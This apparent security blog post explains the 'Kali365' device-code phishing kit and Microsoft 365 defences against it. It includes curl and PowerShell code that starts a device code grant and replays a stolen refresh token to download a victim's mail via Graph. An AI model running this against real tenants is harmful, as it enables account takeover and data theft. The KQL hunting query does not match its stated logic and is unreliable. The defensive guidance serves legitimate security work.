Listen to this Post
Introduction:
Modern authentication frameworks, such as OAuth 2.0, were designed for convenience, but attackers have found a way to weaponize them. The emergence of the “Kali365” Phishing-as-a-Service (PhaaS) platform represents a critical evolution in account compromise, as it no longer targets passwords but rather hijacks legitimate OAuth tokens to bypass Multi-Factor Authentication (MFA) entirely.
Learning Objectives:
- Understand how the OAuth Device Code Flow is abused to bypass traditional MFA.
- Learn to detect token theft and anomalous “device code” authentications.
- Implement specific Conditional Access Policies and PowerShell commands to block token replay attacks.
You Should Know:
- The Anatomy of OAuth Device Code Phishing (Kali365 Attack Chain)
Unlike traditional phishing that steals credentials, Kali365 abuses a legitimate authentication feature called the “Device Code Flow” (RFC 8628), designed for input-constrained devices like smart TVs. Attackers trick users into authorizing a malicious app on a real Microsoft login page, handing over session tokens instead of passwords.
How the Attack Works (Step-by-Step):
The attacker initiates a device authorization request to Microsoft’s endpoint. This generates a short code (user_code) and a secret (device_code) tied to the attacker’s session.
Attacker-side simulation using cURL curl -X POST https://login.microsoftonline.com/common/oauth2/v2.0/devicecode \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "client_id=ATTACKER_APP_ID&scope=openid%20offline_access%20https://outlook.office.com/mail.read"
(Response contains `user_code` and `verification_uri`)
The user receives a phishing email (mimicking SharePoint/OneDrive) asking them to visit https://microsoft.com/devicelogin` and enter the provided code. When the user enters the code, they are essentially authorizing the attacker's remote device. The attacker then polls the `/token` endpoint to exchange the `device_code` for an `access_token` andrefresh_token`.
- Living off the Land: Malicious PowerShell Recon & Exploitation
Once a token is stolen, attackers use native Microsoft tools (Living off the Land) to avoid detection. The following commands simulate how an attacker uses a stolen refresh token to generate new access tokens and query sensitive data via Microsoft Graph.
Extracting Data via Graph API:
If an attacker possesses a valid refresh_token, they can use it to silently generate new sessions.
Attacker uses stolen refresh token to get a new access token
$Body = @{
client_id = "ATTACKER_APP_ID"
grant_type = "refresh_token"
refresh_token = "STOLEN_REFRESH_TOKEN_HERE"
scope = "https://graph.microsoft.com/.default"
}
$Response = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $Body
$AccessToken = $Response.access_token
Using the new token to download victim's emails via Graph API
$Headers = @{ Authorization = "Bearer $AccessToken" }
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages" -Headers $Headers
(This action bypasses MFA completely and evades typical login alerts.)
3. Purple Teaming: Simulating the Device Code Attack
To test your defenses, security teams can simulate this exact attack flow using legitimate Azure App Registrations to understand how detection works.
Step-by-step simulation guide:
- Register a Multi-tenant App: In Entra ID, register an application.
- Configure API Permissions: Add `offline_access` and `Mail.Read` (Delegated).
- Generate the Code: Use the cURL command in Section 1 to generate a device code.
- Simulate Phishing: Send the generated code to a test user.
- Token Capture: Run the PowerShell script from Section 2 to capture the resulting token after the user enters the code.
- Verification: Check `SignInLogs` in Entra ID. You will notice a log entry where the `Authentication Requirement` is “Single-factor authentication” (even if the user has MFA enabled) because the policy was satisfied during the device code grant.
-
Active Defense: Blocking Device Code Flow (Entra ID & PowerShell)
The FBI and CISA explicitly recommend disabling Device Code Flow unless absolutely necessary. This is the most effective technical mitigation against Kali365.
Creating a “Block” Conditional Access Policy:
- Navigate to Microsoft Entra ID > Protection > Conditional Access.
2. Click + New policy.
- Assignments: Include “All users” (excluding emergency break-glass accounts).
- Target resources: Select “Device code flow” under Authentication flows.
5. Access controls: Set Grant to Block access.
- Enable the policy state to Report-only first, then move to On after validation.
PowerShell Automation for Blocking:
Use the Microsoft Graph PowerShell SDK to audit if the policy exists:
Connect-MgGraph -Scopes Policy.Read.All, Policy.ReadWrite.ConditionalAccess
Get-MgIdentityConditionalAccessPolicy | Where-Object {$_.Conditions -match "DeviceCode"}
If missing, create a new policy using a JSON template to block the flow.
(This ensures that even if an attacker sends a code, the login request is rejected at the gateway.)
- Detection Strategy: Hunting for Token Replay (KQL Queries)
Traditional SIEM rules miss token theft because there is no “failed password” event. However, defenders can hunt for “Impossible travel” or simultaneous logins.
Kusto Query Language (KQL) for Azure AD SignIns:
This query detects an attacker using a stolen token from a different location while the legitimate user is active:
SigninLogs | where Status.errorCode == 0 | where AuthenticationRequirement == "singleFactorAuthentication" // MFA was satisfied earlier | where ResourceDisplayName contains "Microsoft Graph" | summarize min(TimeGenerated), max(TimeGenerated) by UserPrincipalName, IPAddress, City | where max_TimeGenerated - min_TimeGenerated < 5m // Rapid token usage across IPs
(Look for `deviceCode` in the `AuthenticationProtocol` field, which indicates this specific flow was used.)
6. Response Protocol: Revoking Stolen Tokens
If a token theft is suspected, resetting the password is ineffective because the token remains valid.
Immediate Incident Response Steps:
- Revoke Sessions: Run the following PowerShell to invalidate all refresh tokens for a user.
Revoke-MgUserSignInSession -UserId "[email protected]"
- Disable Legacy Tokens: Create a Conditional Access policy requiring “Compliant Device” or “Session controls” to force re-authentication.
- Block the Malicious App: Find the `client_id` used in the attack via Audit Logs and manually block it via the Enterprise Applications blade in Entra ID.
What Undercode Say:
- The MFA Illusion: This attack proves that “MFA Enabled” does not equal “MFA Present.” We have moved from a perimeter of passwords to a perimeter of sessions. If your tooling only looks at the login gate, you are blind.
- The Democratization of Hacking: Kali365 lowers the barrier so significantly that script kiddies now have access to enterprise-grade persistence. The analysis shows that for ~$250/month, attackers bypass the need to build custom reverse proxies (like Evilginx2), subscribing to “access” rather than “hacking”. Organizations must shift from signature-based detection to behavior analytics immediately.
Prediction:
As Microsoft inevitably restricts Device Code Flow globally, attackers will pivot to abusing other OAuth 2.0 grants (e.g., On-Behalf-Of or SAML flows) and legitimate RPA (Robotic Process Automation) tools as token brokers. The “Identity Fabric” will see a surge in “Session Theft as a Service” kits, forcing a migration toward continuous access evaluation (CAE) and hardware-bound passkeys (FIDO2) as the baseline standard within the next 12–18 months.
Source: FBI IC3 PSA, ID Tech Wire, The Register, LevelBlue SpiderLabs, and various threat intelligence feeds (2025-2026).
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Kali365 Onedrive – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
